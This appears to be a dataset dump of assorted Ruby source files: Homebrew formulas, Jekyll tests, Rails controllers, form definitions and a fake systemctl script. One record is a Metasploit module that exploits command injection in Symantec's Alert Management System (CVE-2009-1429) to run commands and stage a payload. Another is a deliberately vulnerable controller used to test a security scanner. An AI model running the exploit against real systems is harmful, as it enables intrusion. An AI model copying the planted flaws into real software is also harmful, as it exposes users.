hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
e9ddaaf2d8cae6a5c7539f2225cc4ef19a5ed16a
85
FactoryGirl.define do factory :candidate do person nil active false end end
10.625
23
0.741176
1d5aa882c14fc5f6759ee462360f4cef0627995a
412
def output_relative(input_file_path, template_file, contents, output_file = nil) real_out_file = output_file if !output_file full_path = File.expand_path(input_file_path) dir = File.dirname(full_path) name = File.basename(template_file, '.erb') real_out_file = File.join(dir, name) end File.open(real_out_file, "w") do |f| f.write(contents) end end
27.466667
80
0.667476
1aa899f0790b4d8975fe6fe2bf153956512fd3b5
487
cask 'hexels' do version '3.1.5' sha256 '65ae3d445036588100ef82fb077a72ca7b2afd4752ca7d1e1b43a28ea1da8023' # mset.s3.amazonaws.com/download/release was verified as official when first introduced to the cask url "https://mset.s3.amazonaws.com/download/release/hexels_install_#{version.no_dots}.dmg" appcast 'https://marmoset.co/hexels/', configuration: version.no_dots name 'Hexels' homepage 'https://marmoset.co/hexels/' app "Hexels #{version.major}.app" end
34.785714
101
0.755647
5db963fefd84a7953b68e8b87a05c3677a79d8c0
1,541
class AttachmentsController < ApplicationController before_action :set_attachment, only: [:show, :edit, :update, :destroy] respond_to :html, :json # GET /attachments # GET /attachments.json def index @attachments = Attachment.all end # GET /attachments/1 # GET /attachments/1.json def show end # GET /attachments/new def new @attachment = Attachment.new end # GET /attachments/1/edit def edit respond_with @attachment end # POST /attachments # POST /attachments.json def create @attachment = Attachment.new(attachment_params) flash[:notice] = 'Attachment was successfully created.' if @attachment.save respond_with @attachment end # PATCH/PUT /attachments/1 # PATCH/PUT /attachments/1.json def update flash[:notice] = 'Attachment was successfully updated.' if @attachment.update(attachment_params) respond_with @attachment end # DELETE /attachments/1 # DELETE /attachments/1.json def destroy @attachment.destroy respond_to do |format| format.html { redirect_to [:edit, @attachment.product] } format.json { head :no_content } end end private # Use callbacks to share common setup or constraints between actions. def set_attachment @attachment = Attachment.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def attachment_params params.require(:attachment).permit(:name, :description, :filetype, :filelocation, :file) end end
24.460317
100
0.704737
5d556e65d8a62c61687112304a7a6b996e7d2a4f
2,914
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution', 'Description' => %q{ Symantec System Center Alert Management System is prone to a remote command-injection vulnerability because the application fails to properly sanitize user-supplied input. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2009-1429' ], [ 'BID', '34671' ], [ 'OSVDB', '54157' ], [ 'ZDI', '09-060' ], [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ] ], 'Targets' => [ [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] ], 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 28 2009')) register_options( [ Opt::RPORT(12174), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]), ], self.class) end def windows_stager exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") execute_cmdstager({ :temp => '.' }) @payload_exe = generate_payload_exe print_status("Attempting to execute the payload...") execute_command(@payload_exe) end def execute_command(cmd, opts = {}) connect len = 2 + cmd.length data = [0x00000000].pack('V') data << len.chr data << "\x00" data << cmd + " " data << "\x00" sock.put(data) res = sock.get_once if (!res) print_error("Did not received data. Failed?") else print_status("Got data, execution successful!") end disconnect end def exploit if not datastore['CMD'].empty? print_status("Executing command '#{datastore['CMD']}'") execute_command(datastore['CMD']) return end case target['Platform'] when 'win' windows_stager else fail_with(Failure::Unknown, 'Target not supported.') end handler end end
25.787611
163
0.552162
87181ccf01d4d515bf8f410ca3a98f82f394abac
1,315
class OtherController < ApplicationController def test_locals render :locals => { :input => params[:user_input] } end def test_object render :partial => "account", :object => Account.first end def test_collection users = User.all partial = "user" render :partial => partial, :collection => users end def test_iteration @users = User.all end def test_send_file send_file params[:file] end def test_update_attribute @user = User.first @user.update_attribute(:attr, params[:attr]) end def test_render_template @something_bad = params[:bad] render :template => 'home/test_render_template' end def test_render_update render :update do |page| do_something end end def test_to_i @x = params[:x].to_i @id = cookies[:id].to_i end def test_to_sym :"#{hello!}" x = params[:x].to_sym #Checking that the code below does not warn about to_sym again call_something_with x x.cool_thing? end def test_xss_duplicates1 @thing = params[:thing] render :xss_dupes, :layout => 'thing' end def test_xss_duplicates2 @thing = blah(params[:other_thing]) render :xss_dupes, :layout => 'thing' end def test_haml_stuff render :locals => { :user => User.first } end end
18.013699
66
0.660076
ab20f3465d3be67e61fe39a1ecdb7311e00bec90
839
module Txdb module Handlers module Triggers class Handler include ResponseHelpers class << self def handle_request(request) new(request).handle end end attr_reader :request def initialize(request) @request = request end private def handle_safely yield rescue => e respond_with_error(500, "Internal server error: #{e.message}", e) end def database @database ||= Txdb::Config.databases.find do |database| database.name == request.params['database'] end end def table @table ||= database.tables.find do |table| table.name == request.params['table'] end end end end end end
19.97619
75
0.52801
01c1d98c61330f7584eb4f9deba233791b24092e
13,507
# frozen_string_literal: true require "helper" class TestUtils < JekyllUnitTest context "The \`Utils.deep_merge_hashes\` method" do setup do clear_dest @site = fixture_site @site.process end should "merge a drop into a hash" do data = { "page" => {} } merged = Utils.deep_merge_hashes(data, @site.site_payload) assert merged.is_a? Hash assert merged["site"].is_a? Drops::SiteDrop assert_equal data["page"], merged["page"] end should "merge a hash into a drop" do data = { "page" => {} } assert_nil @site.site_payload["page"] merged = Utils.deep_merge_hashes(@site.site_payload, data) assert merged.is_a? Drops::UnifiedPayloadDrop assert merged["site"].is_a? Drops::SiteDrop assert_equal data["page"], merged["page"] end end context "hash" do context "pluralized_array" do should "return empty array with no values" do data = {} assert_equal [], Utils.pluralized_array_from_hash(data, "tag", "tags") end should "return empty array with no matching values" do data = { "foo" => "bar" } assert_equal [], Utils.pluralized_array_from_hash(data, "tag", "tags") end should "return plural array with nil singular" do data = { "foo" => "bar", "tag" => nil, "tags" => %w(dog cat) } assert_equal %w(dog cat), Utils.pluralized_array_from_hash(data, "tag", "tags") end should "return single value array with matching singular" do data = { "foo" => "bar", "tag" => "dog", "tags" => %w(dog cat) } assert_equal ["dog"], Utils.pluralized_array_from_hash(data, "tag", "tags") end should "return single value array with matching singular with spaces" do data = { "foo" => "bar", "tag" => "dog cat", "tags" => %w(dog cat) } assert_equal ["dog cat"], Utils.pluralized_array_from_hash(data, "tag", "tags") end should "return empty array with matching nil plural" do data = { "foo" => "bar", "tags" => nil } assert_equal [], Utils.pluralized_array_from_hash(data, "tag", "tags") end should "return empty array with matching empty array" do data = { "foo" => "bar", "tags" => [] } assert_equal [], Utils.pluralized_array_from_hash(data, "tag", "tags") end should "return single value array with matching plural with single string value" do data = { "foo" => "bar", "tags" => "dog" } assert_equal ["dog"], Utils.pluralized_array_from_hash(data, "tag", "tags") end should "return multiple value array with matching plural with " \ "single string value with spaces" do data = { "foo" => "bar", "tags" => "dog cat" } assert_equal %w(dog cat), Utils.pluralized_array_from_hash(data, "tag", "tags") end should "return single value array with matching plural with single value array" do data = { "foo" => "bar", "tags" => ["dog"] } assert_equal ["dog"], Utils.pluralized_array_from_hash(data, "tag", "tags") end should "return multiple value array with matching plural with " \ "multiple value array" do data = { "foo" => "bar", "tags" => %w(dog cat) } assert_equal %w(dog cat), Utils.pluralized_array_from_hash(data, "tag", "tags") end end end context "The \`Utils.parse_date\` method" do should "parse a properly formatted date" do assert Utils.parse_date("2014-08-02 14:43:06 PDT").is_a? Time end should "throw an error if the input contains no date data" do assert_raises Jekyll::Errors::InvalidDateError do Utils.parse_date("Blah") end end should "throw an error if the input is out of range" do assert_raises Jekyll::Errors::InvalidDateError do Utils.parse_date("9999-99-99") end end should "throw an error with the default message if no message is passed in" do date = "Blah this is invalid" assert_raises( Jekyll::Errors::InvalidDateError, "Invalid date '#{date}': Input could not be parsed." ) do Utils.parse_date(date) end end should "throw an error with the provided message if a message is passed in" do date = "Blah this is invalid" message = "Aaaah, the world has exploded!" assert_raises( Jekyll::Errors::InvalidDateError, "Invalid date '#{date}': #{message}" ) do Utils.parse_date(date, message) end end end context "The \`Utils.slugify\` method" do should "return nil if passed nil" do begin assert Utils.slugify(nil).nil? rescue NoMethodError assert false, "Threw NoMethodError" end end should "replace whitespace with hyphens" do assert_equal "working-with-drafts", Utils.slugify("Working with drafts") end should "replace consecutive whitespace with a single hyphen" do assert_equal "basic-usage", Utils.slugify("Basic Usage") end should "trim leading and trailing whitespace" do assert_equal "working-with-drafts", Utils.slugify(" Working with drafts ") end should "drop trailing punctuation" do assert_equal( "so-what-is-jekyll-exactly", Utils.slugify("So what is Jekyll, exactly?") ) assert_equal "كيف-حالك", Utils.slugify("كيف حالك؟") end should "ignore hyphens" do assert_equal "pre-releases", Utils.slugify("Pre-releases") end should "replace underscores with hyphens" do assert_equal "the-config-yml-file", Utils.slugify("The _config.yml file") end should "combine adjacent hyphens and spaces" do assert_equal( "customizing-git-git-hooks", Utils.slugify("Customizing Git - Git Hooks") ) end should "replace punctuation in any scripts by hyphens" do assert_equal "5時-6時-三-一四", Utils.slugify("5時〜6時 三・一四") end should "not modify the original string" do title = "Quick-start guide" Utils.slugify(title) assert_equal "Quick-start guide", title end should "not change behaviour if mode is default" do assert_equal( "the-config-yml-file", Utils.slugify("The _config.yml file?", :mode => "default") ) end should "not change behaviour if mode is nil" do assert_equal "the-config-yml-file", Utils.slugify("The _config.yml file?") end should "not replace period and underscore if mode is pretty" do assert_equal( "the-_config.yml-file", Utils.slugify("The _config.yml file?", :mode => "pretty") ) end should "replace everything else but ASCII characters" do assert_equal "the-config-yml-file", Utils.slugify("The _config.yml file?", :mode => "ascii") assert_equal "f-rtive-glance", Utils.slugify("fürtive glance!!!!", :mode => "ascii") end should "only replace whitespace if mode is raw" do assert_equal( "the-_config.yml-file?", Utils.slugify("The _config.yml file?", :mode => "raw") ) end should "return the given string if mode is none" do assert_equal( "the _config.yml file?", Utils.slugify("The _config.yml file?", :mode => "none") ) end should "Keep all uppercase letters if cased is true" do assert_equal( "Working-with-drafts", Utils.slugify("Working with drafts", :cased => true) ) assert_equal( "Basic-Usage", Utils.slugify("Basic Usage", :cased => true) ) assert_equal( "Working-with-drafts", Utils.slugify(" Working with drafts ", :cased => true) ) assert_equal( "So-what-is-Jekyll-exactly", Utils.slugify("So what is Jekyll, exactly?", :cased => true) ) assert_equal( "Pre-releases", Utils.slugify("Pre-releases", :cased => true) ) assert_equal( "The-config-yml-file", Utils.slugify("The _config.yml file", :cased => true) ) assert_equal( "Customizing-Git-Git-Hooks", Utils.slugify("Customizing Git - Git Hooks", :cased => true) ) assert_equal( "The-config-yml-file", Utils.slugify("The _config.yml file?", :mode => "default", :cased => true) ) assert_equal( "The-config-yml-file", Utils.slugify("The _config.yml file?", :cased => true) ) assert_equal( "The-_config.yml-file", Utils.slugify("The _config.yml file?", :mode => "pretty", :cased => true) ) assert_equal( "The-_config.yml-file?", Utils.slugify("The _config.yml file?", :mode => "raw", :cased => true) ) assert_equal( "The _config.yml file?", Utils.slugify("The _config.yml file?", :mode => "none", :cased => true) ) end end context "The \`Utils.titleize_slug\` method" do should "capitalize all words and not drop any words" do assert_equal( "This Is A Long Title With Mixed Capitalization", Utils.titleize_slug("This-is-a-Long-title-with-Mixed-capitalization") ) assert_equal( "This Is A Title With Just The Initial Word Capitalized", Utils.titleize_slug("This-is-a-title-with-just-the-initial-word-capitalized") ) assert_equal( "This Is A Title With No Capitalization", Utils.titleize_slug("this-is-a-title-with-no-capitalization") ) end end context "The \`Utils.add_permalink_suffix\` method" do should "handle built-in permalink styles" do assert_equal( "/:basename/", Utils.add_permalink_suffix("/:basename", :pretty) ) assert_equal( "/:basename:output_ext", Utils.add_permalink_suffix("/:basename", :date) ) assert_equal( "/:basename:output_ext", Utils.add_permalink_suffix("/:basename", :ordinal) ) assert_equal( "/:basename:output_ext", Utils.add_permalink_suffix("/:basename", :none) ) end should "handle custom permalink styles" do assert_equal( "/:basename/", Utils.add_permalink_suffix("/:basename", "/:title/") ) assert_equal( "/:basename:output_ext", Utils.add_permalink_suffix("/:basename", "/:title:output_ext") ) assert_equal( "/:basename", Utils.add_permalink_suffix("/:basename", "/:title") ) end end context "The \`Utils.safe_glob\` method" do should "not apply pattern to the dir" do dir = "test/safe_glob_test[" assert_equal [], Dir.glob(dir + "/*") unless jruby? assert_equal ["test/safe_glob_test[/find_me.txt"], Utils.safe_glob(dir, "*") end should "return the same data to #glob" do dir = "test" assert_equal Dir.glob(dir + "/*"), Utils.safe_glob(dir, "*") assert_equal Dir.glob(dir + "/**/*"), Utils.safe_glob(dir, "**/*") end should "return the same data to #glob if dir is not found" do dir = "dir_not_exist" assert_equal [], Utils.safe_glob(dir, "*") assert_equal Dir.glob(dir + "/*"), Utils.safe_glob(dir, "*") end should "return the same data to #glob if pattern is blank" do dir = "test" assert_equal [dir], Utils.safe_glob(dir, "") assert_equal Dir.glob(dir), Utils.safe_glob(dir, "") assert_equal Dir.glob(dir), Utils.safe_glob(dir, nil) end should "return the same data to #glob if flag is given" do dir = "test" assert_equal Dir.glob(dir + "/*", File::FNM_DOTMATCH), Utils.safe_glob(dir, "*", File::FNM_DOTMATCH) end should "support pattern as an array to support windows" do dir = "test" assert_equal Dir.glob(dir + "/**/*"), Utils.safe_glob(dir, ["**", "*"]) end end context "The \`Utils.has_yaml_header?\` method" do should "accept files with YAML front matter" do file = source_dir("_posts", "2008-10-18-foo-bar.markdown") assert_equal "---\n", File.open(file, "rb") { |f| f.read(4) } assert Utils.has_yaml_header?(file) end should "accept files with extraneous spaces after YAML front matter" do file = source_dir("_posts", "2015-12-27-extra-spaces.markdown") assert_equal "--- \n", File.open(file, "rb") { |f| f.read(6) } assert Utils.has_yaml_header?(file) end should "reject pgp files and the like which resemble front matter" do file = source_dir("pgp.key") assert_equal "-----B", File.open(file, "rb") { |f| f.read(6) } refute Utils.has_yaml_header?(file) end end context "The \`Utils.merged_file_read_opts\` method" do should "ignore encoding if it's not there" do opts = Utils.merged_file_read_opts(nil, {}) assert_nil opts["encoding"] assert_nil opts[:encoding] end should "add bom to encoding" do opts = { "encoding" => "utf-8", :encoding => "utf-8" } merged = Utils.merged_file_read_opts(nil, opts) assert_equal "bom|utf-8", merged["encoding"] assert_equal "bom|utf-8", merged[:encoding] end should "preserve bom in encoding" do opts = { "encoding" => "bom|another", :encoding => "bom|another" } merged = Utils.merged_file_read_opts(nil, opts) assert_equal "bom|another", merged["encoding"] assert_equal "bom|another", merged[:encoding] end end end
33.186732
89
0.613386
21d12f7cbc8dd0979fe1d5bafe5937ebe9404cb3
958
cask 'microsoft-lync' do version '14.2.1_150923' sha256 'da1264855e3a7b372639862ed1b35a8e03c49ee5f26a440ac74daced5a743449' url "https://download.microsoft.com/download/5/0/0/500C7E1F-3235-47D4-BC11-95A71A1BA3ED/lync_#{version}.dmg" name 'Microsoft Lync 2011' homepage 'https://www.microsoft.com/en-us/download/details.aspx?id=36517' license :gratis pkg 'Lync Installer.pkg' uninstall :pkgutil => 'com.microsoft.lync.all.*' zap :pkgutil => [ 'com.microsoft.mau.all.autoupdate.*', 'com.microsoft.merp.all.errorreporting.*' ], :delete => [ '~/Library/Preferences/com.microsoft.Lync.plist', '~/Library/Logs/Microsoft-Lync-0.log', '~/Documents/Microsoft User Data/Microsoft Lync Data' ], :rmdir => '~/Documents/Microsoft User Data' end
39.916667
110
0.584551
1a9c73494f57d2fae56a0162c98118bb9defae8f
1,073
class Darkhttpd < Formula desc "Small static webserver without CGI" homepage "https://unix4lyfe.org/darkhttpd/" url "https://unix4lyfe.org/darkhttpd/darkhttpd-1.12.tar.bz2" sha256 "a50417b622b32b5f421b3132cb94ebeff04f02c5fb87fba2e31147d23de50505" bottle do cellar :any_skip_relocation sha256 "9fbb24a5ba183c6e582a0a4960c86503ed6dca8b1fd37080f44c8516d0ef5117" => :catalina sha256 "5af24e2fb0bd38aec2b8b3c0bcf685b54297bde3e1311f2d38d48f0bf10912ab" => :mojave sha256 "b0da49675fa62225da80fd711cc426d2b58116355ae8c89c80de080479b777a5" => :high_sierra sha256 "1271ecbcd73b02bc8977235ea0bfcfdceb1819cb476213e74bd7d352df8a464f" => :sierra sha256 "cf8e5885072baed885238dc1a6b23466f80d96a32eb48d5f61f3b9d519df88b5" => :el_capitan sha256 "2fc16040a837b47ac947b8462f93530a387f9db0e0d6a594e4b7dba3437e6e11" => :yosemite sha256 "0ac0b5be3f8e944981806ed255740a6feaee64cd14d78d817e8c5a75391d9837" => :mavericks end def install system "make" bin.install "darkhttpd" end test do system "#{bin}/darkhttpd", "--help" end end
39.740741
93
0.807083
d5eb37abbc61799bf72c4bc69782e4dc3ffedd7b
10,995
class QAE2014Forms class << self def mobility_step1 @mobility_step1 ||= proc do header :company_information_header, "" do context %( <p> We need this information to ensure we have some basic information about your organisation, which will help us to undertake due diligence checks if your application is shortlisted. </p> ) end options :applying_for, "Are you applying on behalf of your:" do ref "A 1" required option "organisation", "Whole organisation (with ultimate control)" option "division branch subsidiary", "A division, branch or subsidiary" end header :business_division_header, "" do classes "application-notice help-notice" context %( <p> Where we refer to 'your organisation' in the form, please enter the details of your division, branch or subsidiary. </p> ) conditional :applying_for, "division branch subsidiary" end text :company_name, "Full/legal name of your organisation" do required ref "A 2" context %( <p>If applicable, include 'trading as', or any other name your organisation uses. Please note, if successful, we will use this name on any award materials - e.g. award certificates.</p> ) end options :principal_business, "Does your organisation operate as a principal?" do required ref "A 3" context %( <p> We recommend that you apply as a principal. A principal invoices its customers (or their buying agents) and is the body to receive those payments. </p> ) yes_no end textarea :invoicing_unit_relations, "Please explain your relationship with the invoicing unit, and the arrangements made." do classes "sub-question" sub_ref "A 3.1" required conditional :principal_business, :no words_max 200 rows 5 end options :organisation_type, "Are you a company or charity?" do required ref "A 4" option "company", "Company" option "charity", "Charity" end text :registration_number, "Please provide your company or charity registration number or enter 'N/A'." do required ref "A 4.1" context %( <p>If you're an unregistered subsidiary, please enter your parent company's number.</p> ) style "small" end text :vat_registration_number, "Please provide your VAT registration number or enter 'N/A'." do required ref "A 4.2" context %( <p>If you're an unregistered subsidiary, please enter your parent company's number.</p> ) style "small" end date :started_trading, "Date started trading" do required ref "A 5" context %( <p> Organisations that began trading after #{AwardYear.start_trading_since(2)} aren't eligible for this award (or #{AwardYear.start_trading_since(5)} if you are applying for the five-year award). </p> ) date_max AwardYear.start_trading_since(2) end options :queen_award_holder, "Are you a current Queen's Award holder (#{AwardYear.award_holder_range})?" do required ref "A 6" yes_no option "i_dont_know", "I don't know" classes "queen-award-holder" end queen_award_holder :queen_award_holder_details, "List The Queen's Award(s) you currently hold" do classes "sub-question question-current-awards" sub_ref "A 6.1" conditional :queen_award_holder, :yes category :innovation, "Innovation" category :international_trade, "International Trade" category :sustainable_development, "Sustainable Development" ((AwardYear.current.year - 5)..(AwardYear.current.year - 1)).each do |y| year y end end options_business_name_changed :business_name_changed, "Have you changed the name of your organisation since your last entry?" do classes "sub-question" sub_ref "A 6.2" required conditional :queen_award_holder, :yes yes_no end text :previous_business_name, "Name used previously" do classes "regular-question" sub_ref "A 6.3" required conditional :business_name_changed, :yes conditional :queen_award_holder, :yes end textarea :previous_business_ref_num, "Reference number(s) used previously" do classes "regular-question" sub_ref "A 6.4" required conditional :business_name_changed, :yes conditional :queen_award_holder, :yes rows 5 words_max 100 end options :other_awards_won, "Have you won any other awards in the past?" do ref "A 7" required yes_no end textarea :other_awards_desc, "Please describe them" do classes "sub-question" sub_ref "A 7.1" required context %( <p> If you can't fit all of your awards below, then choose those you're most proud of. </p> ) conditional :other_awards_won, :yes rows 5 words_max 300 end options :part_of_joint_entry, "Is this application part of a joint entry with any contributing organisation(s)?" do ref "A 8" required context %( <p> If two or more organisations made a significant contribution to the social mobility programme then you should make a joint entry. Each organisation should submit separate, cross-referenced, entry forms. </p> ) yes_no end textarea :part_of_joint_entry_names, "Please enter their name(s)" do sub_ref "A 8.1" required conditional :part_of_joint_entry, "yes" words_max 100 rows 2 end options :external_contribute_to_sustainable_product, "Did any external organisation(s) or individual(s) contribute to your social mobility programme?" do ref "A 9" required context %( <p> <strong>Excluding</strong> paid suppliers and consultants. </p> ) yes_no end options :external_are_aware_about_award, "Are they aware that you're applying for this award?" do sub_ref "A 9.1" required option "yes", "Yes, they are all aware" option "no", "No, they are not all aware" conditional :external_contribute_to_sustainable_product, "yes" end header :external_organization_or_individual_info_header_no, "" do classes "application-notice help-notice" context %( <p> We recommend that you notify all the contributors to your social mobility programme relating to this entry. </p> ) conditional :external_contribute_to_sustainable_product, "yes" conditional :external_are_aware_about_award, "no" end textarea :why_external_organisations_contributed_your_nomination, "Explain why external organisations or individuals that contributed to your social mobility programme are not all aware of this applications." do sub_ref "A 9.2" required words_max 200 conditional :external_contribute_to_sustainable_product, "yes" conditional :external_are_aware_about_award, "no" rows 3 end address :organization_address, "Trading address of your organisation" do required ref "A 10" sub_fields([ { building: "Building" }, { street: "Street" }, { city: "Town or city" }, { county: "County" }, { postcode: "Postcode" }, { region: "Region" } ]) end text :org_telephone, "Main telephone number" do required ref "A 11" style "small" end text :website_url, "Website address" do ref "A 12" style "large" form_hint "e.g. www.example.com" end sic_code_dropdown :sic_code, "SIC code" do required ref "A 13" end options :parent_or_a_holding_company, "Do you have a parent or a holding company?" do required ref "A 14" yes_no end text :parent_company, "Name of immediate parent company" do required classes "sub-question" sub_ref "A 14.1" conditional :parent_or_a_holding_company, :yes end country :parent_company_country, "Country of immediate parent company" do required classes "regular-question" sub_ref "A 14.2" conditional :parent_or_a_holding_company, :yes end options :parent_ultimate_control, "Does your immediate parent company have ultimate control?" do required classes "sub-question" sub_ref "A 14.3" yes_no conditional :parent_or_a_holding_company, :yes end text :ultimate_control_company, "Name of organisation with ultimate control" do required classes "regular-question" sub_ref "A 14.4" conditional :parent_ultimate_control, :no conditional :parent_or_a_holding_company, :yes end country :ultimate_control_company_country, "Country of organisation with ultimate control" do classes "regular-question" sub_ref "A 14.5" conditional :parent_ultimate_control, :no conditional :parent_or_a_holding_company, :yes end upload :org_chart, "Upload an organisational chart (optional)" do ref "A 15" context %( <p>You can submit a file in any common format, as long as it is less than 5mb.</p> ) hint "What are the allowed file formats?", %( <p> You can upload any of the following file formats: </p> <p> chm, csv, diff, doc, docx, dot, dxf, eps, gif, gml, ics, jpg, kml, odp, ods, odt, pdf, png, ppt, pptx, ps, rdf, rtf, sch, txt, wsdl, xls, xlsm, xlsx, xlt, xml, xsd, xslt, zip </p> ) max_attachments 1 end end end end end
34.684543
219
0.581264
1ca9973c9f858900922d9c6ba52cd487e503e108
395
# -*- coding: utf-8 -*- require "sixarm_ruby_date_time_random_test" class DateTimeTest < Minitest::Test def test_random x = DateTime.random assert_kind_of(DateTime, x) end def test_random_with_range now = DateTime.now range = (now - 10)..(now + 10) x = DateTime.random(range) assert_kind_of(DateTime, x) assert(range.begin <= x && x <= range.end) end end
19.75
46
0.665823
39159dc965765467e425fff20d767c0b621e626b
264
# frozen_string_literal: true require 'tencentcloud-sdk-common' require_relative 'v20181225/client' require_relative 'v20181225/models' require_relative 'v20210331/client' require_relative 'v20210331/models' module TencentCloud module Organization end end
17.6
35
0.829545
e86fcae524068061abed0a18f960df7253e10fb2
36
module Zoku VERSION = "0.0.1" end
9
19
0.638889
6168a96d7179138567816edeac06726bc85b6287
4,427
#!/usr/bin/env ruby # THIS SCRIPT IS FOR TESTING PURPOSES ONLY. # # We use Docker to run tomo deploy tests. Docker is not able to run systemd, but # tomo needs systemd for starting long-lived processes (e.g. puma). This script # simulates the behavior of systemctl commands so that a tomo deploy can succeed # in a Docker container where the real systemctl is unavailable. # # This basic workflow is supported: # # 1. systemctl --user enable [units...] # 2. systemctl --user start [units...] # 3. systemctl --user restart [units...] # 4. systemctl --user is-active [units...] # 5. systemctl --user status [units...] # # No other commands or options are supported. The only configuration that this # script understands is the ExecStart and WorkingDirectory attributes in a # *.service file that is expected to be installed in ~/.config/systemd/user/. # # This script will fork and exec the command listed in ExecStart and store the # resulting PID so that it can later be used when stopping or restarting the # service. It does not monitor the process, handle stdout/stderr of the process, # or do any of the real work that systemd is designed to handle. It simply is # the bare minimum behavior needed for tomo deploy to pass an E2E test. require "pstore" COMMANDS = %w[ daemon-reload enable is-active restart start status stop ].freeze def main(args) args = args.dup raise "First arg must be --user" unless args.shift == "--user" raise "Missing command" if args.empty? command = args.shift raise "Unknown command: #{command}" unless COMMANDS.include?(command) run(command, args) end def run(command, args) return daemon_reload(args) if command == "daemon-reload" raise "#{command} requires an argument" if args.empty? args.each { |name| Unit.find(name).public_send(command.tr("-", "_")) } end def daemon_reload(args) raise "daemon-reload does not accept arguments" unless args.empty? end class Unit def self.find(name) path = File.join(File.expand_path("~/.config/systemd/user/"), name) raise "Unknown unit: #{name}" unless File.file?(path) return Service.new(name, IO.read(path)) if name.end_with?(".service") new(name, IO.read(path)) end def initialize(name, spec) @name = name @spec = spec end def enable with_persistent_state { |state| state[:enabled] = true } end def status puts "● #{name}" puts " Loaded: loaded (enabled; vendor preset: enabled)" if enabled? end def start must_be_enabled! end def stop must_be_enabled! end def restart must_be_enabled! end private attr_reader :name, :spec def must_be_enabled! raise "#{name} must be enabled first" unless enabled? end def enabled? with_persistent_state { |state| state[:enabled] } end def with_persistent_state @pstore ||= begin pstore_path = File.expand_path("~/.config/systemd/state.db") PStore.new(pstore_path) end @pstore.transaction do state = @pstore[name] ||= {} yield(state) end end end class Service < Unit def is_active # rubocop:disable Naming/PredicateName exit(false) unless started? puts "active" end def start super raise "#{name} is already running" if started? working_dir, executable = parse if (pid = Process.fork) with_persistent_state { |state| state[:pid] = pid } Process.detach(pid) return end with_detached_io { Dir.chdir(working_dir) { Process.exec(executable) } } end def stop with_persistent_state do |state| pid = state.delete(:pid) Process.kill("TERM", pid) unless pid.nil? end end def restart super stop if started? start end def status super puts " Active: active (running)" if started? end private def started? with_persistent_state { |state| !state[:pid].nil? } end def parse config = Hash[spec.scan(/^([^\s=]+)=\s*(\S.*?)\s*$/)] working_dir = config["WorkingDirectory"] || File.expand_path("~") executable = config.fetch("ExecStart") do raise "#{name} is missing ExecStart attribute" end [working_dir, executable] end def with_detached_io null_in = File.open(File::NULL, "r") null_out = File.open(File::NULL, "w") $stdin.reopen(null_in) $stderr.reopen(null_out) $stdout.reopen(null_out) yield end end main(ARGV) if $PROGRAM_NAME == __FILE__
23.547872
80
0.679467
1c18880e467d48a107647a4caa4e894fe664362d
1,858
class Liblo < Formula desc "Lightweight Open Sound Control implementation" homepage "https://liblo.sourceforge.io/" url "https://downloads.sourceforge.net/project/liblo/liblo/0.31/liblo-0.31.tar.gz" sha256 "2b4f446e1220dcd624ecd8405248b08b7601e9a0d87a0b94730c2907dbccc750" license "LGPL-2.1" bottle do sha256 cellar: :any, arm64_big_sur: "95b358e3f04623998f6c2d734599ec7e63b3c389f9d6e0cc9fc6311850929f55" sha256 cellar: :any, big_sur: "19eef0619f05faa15a7d5368973dcd3e5ed2e44291b56cc6ff72825fe8879845" sha256 cellar: :any, catalina: "aac4280d5e147a6baab53c252bbf7cda296fe5bdeceb26d7aa60acb10ecc5444" sha256 cellar: :any, mojave: "3310110ec91fb412b8d5c727bda03454aebec087d78ebada20bb53ad9582088e" sha256 cellar: :any, high_sierra: "034eaec236ee4df490d16db9998ec7a4d88223d929b333c8b08ade641bc74bcb" sha256 cellar: :any, x86_64_linux: "1d22e5739b849c6cf6dfe80e12a2789d18d9b6756047afe65faec18402acba2d" # linuxbrew-core end head do url "https://git.code.sf.net/p/liblo/git.git" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end def install args = %W[ --disable-debug --disable-dependency-tracking --prefix=#{prefix} ] if build.head? system "./autogen.sh", *args else system "./configure", *args end system "make", "install" end test do (testpath/"lo_version.c").write <<~EOS #include <stdio.h> #include "lo/lo.h" int main() { char version[6]; lo_version(version, 6, 0, 0, 0, 0, 0, 0, 0); printf("%s", version); return 0; } EOS system ENV.cc, "lo_version.c", "-I#{include}", "-L#{lib}", "-llo", "-o", "lo_version" lo_version = `./lo_version` assert_equal version.to_str, lo_version end end
32.596491
123
0.688375
263b8e464d13a171f25a6f554076ded6d477e410
1,982
